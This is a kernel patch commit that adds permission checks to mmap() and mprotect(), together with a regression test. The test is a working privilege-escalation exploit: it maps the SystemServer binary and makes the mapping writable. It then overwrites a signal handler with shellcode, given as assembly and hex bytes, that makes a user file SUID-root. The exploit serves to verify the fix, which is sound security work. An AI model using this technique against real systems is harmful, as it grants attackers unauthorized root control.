Kernel: Validate PROT_READ and PROT_WRITE against underlying file

This patch fixes some issues with the mmap() and mprotect() syscalls,
neither of whom were checking the permission bits of the underlying
files when mapping an inode MAP_SHARED.

This made it possible to subvert execution of any running program
by simply memory-mapping its executable and replacing some of the code.

Test: Kernel/mmap-write-into-running-programs-executable-file.cpp

Tests/Kernel/mmap-write-into-running-programs-executable-file.cpp

@@ -0,0 +1,70 @@
+#include <AK/Types.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+int main()
+{
+    int fd = open("/bin/SystemServer", O_RDONLY);
+    if (fd < 0) {
+        perror("open");
+        return 1;
+    }
+    u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
+    if (ptr == MAP_FAILED) {
+        perror("mmap");
+        return 1;
+    }
+
+    if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
+        perror("mprotect");
+        return 1;
+    }
+
+    /*
+     *
+     * This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
+     * It does two things:
+     *
+     * chown ("/home/anon/own", 0, 0);
+     * chmod ("/home/anon/own", 04755);
+     *
+     * In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
+     *
+     */
+
+#if 0
+    [bits 32]
+    [org 0x0804b111]
+    jmp $+17
+    path:
+    db "/home/anon/own", 0
+    mov eax, 79
+    mov edx, path
+    mov ecx, 0
+    mov ebx, 0
+    int 0x82
+    mov eax, 67
+    mov edx, path
+    mov ecx, 15
+    mov ebx, 2541
+    int 0x82
+    ret
+#endif
+
+    const u8 payload[] = {
+        0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
+        0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
+        0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
+        0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
+        0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
+        0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
+    };
+
+    memcpy(&ptr[0x3111], payload, sizeof(payload));
+
+    printf("ok\n");
+    return 0;
+}